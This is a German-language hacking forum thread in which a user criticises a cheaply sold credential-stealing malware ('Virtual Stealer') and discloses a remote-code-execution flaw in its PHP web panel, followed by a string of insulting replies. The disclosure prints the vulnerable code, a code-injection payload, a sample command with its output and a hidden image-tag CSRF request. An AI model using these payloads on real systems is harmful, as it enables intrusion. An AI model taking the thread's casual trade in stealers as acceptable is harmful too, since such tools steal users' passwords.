7 Antworten in diesem Thema

[pi^2]

Vorwort:

 

Seit gestern wird der Virtual Stealer unter: https://www.toolbase...psc/#entry40128 angeboten. Ich sollte das fertige Web-Panel pentesten, leider kam meine Kritik an der Umsetzung bei @ noTime nicht gut an, ich wurde ausgeschlossen und das Projekt von einem anderen untersucht.

 

Es ist mittlerweile einfach nur schade zu sehen wie man immer mehr die bequeme Richtung einschlägt anstatt sich intensiv mit dem Prozess auseinanderzusetzen und ein Produkt abzuliefern das auch seine 15 € wert ist. Wenn jemand diese 15 € zustehen dann dem Entwickler des Panels @Kaase, der zum. das Projekt (Web-Panel) als lehrreiche Erfahrung betrachtet hat, leider aber nicht am Gewinn beteiligt ist.

 

Mal ein paar Zitate:

 

 

• Internet Explorer
• Google Chrome
• Mozilla Firefox
• Opera Browser
• Apple Safari
• some more...

 

 

• Microsoft Outlook 2000-2016
• Outlook Express
• Windows Mail/Windows Live Mail
• Mozilla Thunderbird
• IncrediMail
• some more...

 

Diese hier angepriesenen Features werden komplett von Nirsoft übernommen, hier hat man sich die relevante Arbeit gespart, das Senden der von Nirsoft erstellten Log-Datei, ROT13 verschlüsselt (!) ist programmiertechnisch keine Herausforderung.

 

Kurzum: Das Projekt mag eventuell für Massenspreading gebrauchbar sein, für ernsthafe Operationen allerdings eignet sich dieses Stück Software in keinstem Fall. Meine Kritik würde ich mir sparen: würde es sich um Freeware handeln!

 

Zu der Schwachstelle:

 

Über das Panel können diverse Themes selektiert werden, das config.php File wird dann auf den gewählten Eintrag (über einen GET-Parameter gehandelt) umgeschrieben. Das Ganze wird von einem Snippet in der main.php übernommen:

$text[$thindex] = 'define("THEME", "'.$_GET['theme'].'"); //panel theme' . "\n";
$file = fopen("config.php","w");
fwrite($file, implode("", $text));
fclose($file);
redirect("main.php");

Über den Payload:

URI/main.php?theme=");@system($_GET['c']);//

Lässt sich eine einfache Shell implementieren, welche auch ohne aktive Benutzer-Session über:

URI/main.php?c=ls

OUTPUT:
..
main.php
etc.

ausgeführt werden kann. Da sich die aktive RCE nur über Benutzerrechte ausführen lässt, aber auf kein gültiges CSRF-Token geprüft wird, muss der angemeldete Benutzer eine präparierte Seite besuchen die den entsprechenden Request z.B. über:

<img src="URI/main.php?theme=%22%29%3B@system%28%24_GET%5B%27c%27%5D%29%3B%2f%2f" style="display:none;" />

ausführt.

[noTime]

Du würdest dir deine Kritik auch nicht sparen wenn es sich um Freeware handelt^^

Dafür lege ich meine Hand is Feuer.

Bist beleidigt weil ich dich vom Pentesting ausgeschlossen habe, ganz einfach.

 

Ich verkaufe ich auch kein NP Business Produkt.

Wenn dies so wäre würde ich es hier nicht anbieten.

Das Projekt ist für die breite Masse gedacht genau wie du schon gesagt hast: Fürs Massenspreading.

Habe auch nie etwa sanderes behauptet.

 

Und du Superheld solltest mehr recherchieren.

Der Kollege Kaase hat mir das Panel 4 free gebastelt.

Ich habe ihm mehrmals angeboten seine Arbeit zu bezahlen, was er jedes mal verweigert hat.

Als non Assi habe ich ihm dennoch Trinkgeld zukommen lassen.

Nur bevor ich hier von FalkE an den Pranger gestellt werden, denn dass kann er ja gut wie die Vergangenheit uns gelehrt hat...

 

Und wieso muss alles eine programmiertechnische Herausforderung sein?

Wenn es nach dir ginge müsste man gleich jede Klasse von Grund auf selbst schreiben was?

Die Nirsoft Tools nehmen mir die meiste Arbeit ab.

Diese werden auch in den Credits gelistet so wie diverse Leute für ihre Hilfe.

Kein Plan was dein Problem jetzt ist.

 

Wenn die Software ihre Arbeit tut, dann soll sich auch keiner beschweren.

Bugs etc. gibt es sowieso via Updates. Kostenlos.

 

Aber ein gutes hat dein HaterThread Nummer #1 dann doch.

Die Sicherheitslücke wurde gemeldet und wird dementsprechend auch gefixxt.

Danke für den Hinweis. Küsschen.

 

EDIT:

Lücke wurde schon gefixxed.

Bearbeitet von noTime, 08 Mai 2016 - 17:50 Uhr.

[pi^2]

Das hier ist weder ein "HaterThread Nummer #1" noch irgendein persönlicher Angriff auf dich. Ich habe lediglich mein Feedback zu deiner Software sowie dem Panel gegeben, begründet anhand der von mir vorgefundenen Mechanismen. Die Art deiner Formulierungen "Superheld", "Küsschen", "Bist beleidigt" zeigen nur auf das du mit Kritik nicht so gut kannst, was schade ist.

 

Ich habe mich zuvor mit Kaase unterhalten und ihm die Lücke detailiert erklärt, daraufhin dann diesen Thread eröffnet. Habe ihm auch ein paar Tipps dagelassen was man verbessern kann etc. also im Endeffekt geholfen "deine" Software zu verbessern.

 

Es gibt weder einen Grund zu sticheln noch irgendeine Konfrontation anzuregen. Die von mir gefundenen Mängel in deiner Software beurteile ich auf langer Erfahrung mit der Anwendung von Malware, da werde ich auch nicht der einzige sein, der da gleicher Meinung sein wird. Zudem einige Kritikpunkte auch schon im Verkaufsthread erwähnt wurden.

 

Du hattest damals davon gesprochen dass dieser Stealer ein Projekt für "privaten Gebrauch" sei, jetzt sehe ich überall Verkaufthreads die das Stück anpreisen. Auch die Einstellung "Hauptsache es läuft; ich gehe den bequemsten Weg" als positiven Aspekt herauszuheben finde ich einfach schade. So rechtfertigt man sich das geringe Niveau und die schnelle Nummer, Hauptsache das Geld kommt rein.

 

Wie auch immer. Ich äußere nur meine Meinung. Warum dich FalkE an den Pranger stellen soll, ist mir noch räzelhaft (zudem der Benutzer gebannt ist).

[noTime]

Oh scheiße.Deine SE  Skillz sind bei weitem nicht so gut wie du zu scheinen vermagst :'D

 

Wie dem auch sei. "pi^2" wollen wir sachlich werden.

 

Ich persönlich kann mit deiner Art wirklich gar nicht umgehen. Um auch meine Meinung hier zu äußern, finde ich sie richtig zum kotzen.

Ein Klugscheißer wie er im Bilderbuch steht. Könnte man höflicher sagen aber ich bin einfach mal so frei.

Wenn man sich das Ganze so ansieht dürfte ich damit nicht alleine dastehen.

Tut aber nichts zur Sache.

Was mich dann aber schon beleidigt ist, dass du meine Software bewusst nur schlecht kritisierst ohne auch nur einen Wink in Richtung "aber dies und jenes ist nett umgesetzt". Oder ein "Zumindest mal jemand der wieder etwas Leben in die Bude bringt" hätte auch nicht geschadet.

Stattdessen wird wie immer einmal nur das Negative hervorgehoben. Wirkt dann schon nur noch verbittert.

 

Deine Meinung kannst du äußern.

Einen extra Thread brauchst du deswegen aber nicht erstellen.

Wenn das jeder tut vervielfältigt sich der "Content" zum Quadrat. *hihi*

 

Die Tatsache, dass das Panel die von dir genannte SIcherheitslücke aufwies und du diese gemeldet hast, ist eine sehr gute und zuvorkommende Sache.

Aber auch hier hätte es gereicht entweder nur Kaase darüber zu informieren oder auch im Verkaufsthread hättest du diese erwähnen können.

SIch gleich wieder aufzupusten wie der große böse Wolf wird langsam langweilig.

 

Der Stealer sollte zu Beginn auch nur für den privaten Gebrauch genutzt werden.

Dann haben einige gejammert, dass es keinen aktuellen Stealer mehr gibt.

Zähl mal 1+1 zusammen und tada. Jetzt wird er verkauft. Was für ein Weltuntergang. Und das für sage und schreibe 15 Euro.

Konnte auf 0,99 Cent runter gehen aber ey. Ich bin ein Kapitalist.

 

P.S.: FalkE ist gebannt. Und die Möglichkeit sich einen neuen Account zu erstellen, nur beispielweise mit dem Namen...eh sagen wir p^2, ist dadurch natürlich verhindert

Bearbeitet von noTime, 08 Mai 2016 - 18:30 Uhr.

[rat123]

Oh scheiße.Deine SE  Skillz sind bei weitem nicht so gut wie du zu scheinen vermagst :'D

 

Wie dem auch sei. "pi^2" wollen wir sachlich werden.

 

Ich persönlich kann mit deiner Art wirklich gar nicht umgehen. Um auch meine Meinung hier zu äußern, finde ich sie richtig zum kotzen.

Ein Klugscheißer wie er im Bilderbuch steht. Könnte man höflicher sagen aber ich bin einfach mal so frei.

Wenn man sich das Ganze so ansieht dürfte ich damit nicht alleine dastehen.

Tut aber nichts zur Sache.

Was mich dann aber schon beleidigt ist, dass du meine Software bewusst nur schlecht kritisierst ohne auch nur einen Wink in Richtung "aber dies und jenes ist nett umgesetzt". Oder ein "Zumindest mal jemand der wieder etwas Leben in die Bude bringt" hätte auch nicht geschadet.

Stattdessen wird wie immer einmal nur das Negative hervorgehoben. Wirkt dann schon nur noch verbittert.

 

Deine Meinung kannst du äußern.

Einen extra Thread brauchst du deswegen aber nicht erstellen.

Wenn das jeder tut vervielfältigt sich der "Content" zum Quadrat. *hihi*

 

Die Tatsache, dass das Panel die von dir genannte SIcherheitslücke aufwies und du diese gemeldet hast, ist eine sehr gute und zuvorkommende Sache.

Aber auch hier hätte es gereicht entweder nur Kaase darüber zu informieren oder auch im Verkaufsthread hättest du diese erwähnen können.

SIch gleich wieder aufzupusten wie der große böse Wolf wird langsam langweilig.

 

Der Stealer sollte zu Beginn auch nur für den privaten Gebrauch genutzt werden.

Dann haben einige gejammert, dass es keinen aktuellen Stealer mehr gibt.

Zähl mal 1+1 zusammen und tada. Jetzt wird er verkauft. Was für ein Weltuntergang. Und das für sage und schreibe 15 Euro.

Konnte auf 0,99 Cent runter gehen aber ey. Ich bin ein Kapitalist.

 

P.S.: FalkE ist gebannt. Und die Möglichkeit sich einen neuen Account zu erstellen, nur beispielweise mit dem Namen...eh sagen wir p^2, ist dadurch natürlich verhindert 

 

lmao, learn2code skid

Erbärmlich sich die Arbeit machen zu lassen und noch darauf Stolz zu sein, wirklich erbärmlich

Der Grund warum du mit .NET arbeitest ist einfach folgende: Du kriegst es nicht auf die Reihe mit Native-Sprachen umzugehen und dich mit den Windows internals auseinander zu setzen. Du wirst es nichtmal hinkriegen die fundamentalen Grundbausteine eines "Stealers" zu erlernen. Du wirst ein armer Copy&Paster bleiben und niemals in deinem Leben in der "großen Liga" der Malware-Industrie mitwirken können. 

 

pi^2 war so nett und hat ein persönliches Feedback gegeben + die Sicherheitslücke geposted. 

Sei froh, andere würden dafür Geld verlangen.

 

Verkauf weiter deinen Copy&Paste rotz du unterbelichtetes Wesen und hdf.

 

PS: Es heisst pi^2 und nicht p^2, bisschen Sek-I Mathematik solltest du können

[noTime]

lmao, learn2code skid

Erbärmlich sich die Arbeit machen zu lassen und noch darauf Stolz zu sein, wirklich erbärmlich

Der Grund warum du mit .NET arbeitest ist einfach folgende: Du kriegst es nicht auf die Reihe mit Native-Sprachen umzugehen und dich mit den Windows internals auseinander zu setzen. Du wirst es nichtmal hinkriegen die fundamentalen Grundbausteine eines "Stealers" zu erlernen. Du wirst ein armer Copy&Paster bleiben und niemals in deinem Leben in der "großen Liga" der Malware-Industrie mitwirken können. 

 

pi^2 war so nett und hat ein persönliches Feedback gegeben + die Sicherheitslücke geposted. 

Sei froh, andere würden dafür Geld verlangen.

 

Verkauf weiter deinen Copy&Paste rotz du unterbelichtetes Wesen und hdf.

 

PS: Es heisst pi^2 und nicht p^2, bisschen Sek-I Mathematik solltest du können

 

FalkE hat zumindest den Anstand sachlich zu bleiben und eine Etage weiter oben mit dem Niveau zu fungieren.

Aber es gibt immer einen der darunter steht oder nicht?

 

Leute wie du sind der Grund warum alles heutzutage bergab geht.

Hab aufgeschnappt, dass ein Stealer gewünscht wird.

Setze das um, biete ihn an und dann kommen die Ungeheuer aus dem Gebüsch und kritisieren als würden Bomben einschlagen.

 

Ich habe mich bedankt für die Meldung der Sicherheitslücke.

Doch sowohl FalkE als auch du sind Personen denen man nicht mal einen schiefen Blick zuwerfen darf ohne dass sie sich persönlich angegriffen fühlen und mit den Armen heurmfuchteln. Quatschen kann jeder. Du native Held kannst auch mal Software hier anbieten.

 

Hab dir nichts getan und wirfst mit Schimpfwörtern umeinander als hättest du sie erfunden.

Vermutlich 30+, alleinstehend, keine Kinder aber der böse Onkel in der Familie

Darfst dir auf die Schulter klopfen

Bearbeitet von noTime, 08 Mai 2016 - 19:51 Uhr.

[Take1T]

lmao, learn2code skid

Erbärmlich sich die Arbeit machen zu lassen und noch darauf Stolz zu sein, wirklich erbärmlich

Der Grund warum du mit .NET arbeitest ist einfach folgende: Du kriegst es nicht auf die Reihe mit Native-Sprachen umzugehen und dich mit den Windows internals auseinander zu setzen. Du wirst es nichtmal hinkriegen die fundamentalen Grundbausteine eines "Stealers" zu erlernen. Du wirst ein armer Copy&Paster bleiben und niemals in deinem Leben in der "großen Liga" der Malware-Industrie mitwirken können. 

 

pi^2 war so nett und hat ein persönliches Feedback gegeben + die Sicherheitslücke geposted. 

Sei froh, andere würden dafür Geld verlangen.

 

Verkauf weiter deinen Copy&Paste rotz du unterbelichtetes Wesen und hdf.

 

PS: Es heisst pi^2 und nicht p^2, bisschen Sek-I Mathematik solltest du können

Jetzt mal ganz ehrlich, wenn dir deine native Sprachen so viel bedeuten und jede von Framework abhängige Sprache so scheiße ist, dann ist es deiner Meinung nach so. Es interessiert einfach keinen, weil der Stealer billig ist, verstehst du das? Und nur weil es .net ist, ist es nicht gleich schlecht. Eventuell nicht so passend wie native Malware, aber es interessiert für den Preis echt keinen.

[3xc3ll3nt]

pi^2 liefert eine seriöse Rückmeldung zu deinem Produkt und du kannst die (angebrachte) Kritik nicht verkraften.

Natürlich ist der Stealer nichts wert, aber wer sagt dass hier nur technisch versierte Leute Tools anbieten dürfen? Es ist ja nichtmal so als ob "sie" es zu verstehen versuchen. Aus meiner Sicht hat noTIme einfach seine Chance gesehen & genutzt. Wer ihn kauft wird wohl damit zufrieden sein.

 

Wenn man verstehen will "wie" sollte man sich nicht mehr auf toolbase umschauen, dafür ist es wohl zu spät Das Bruderforum ist empfehlenswert.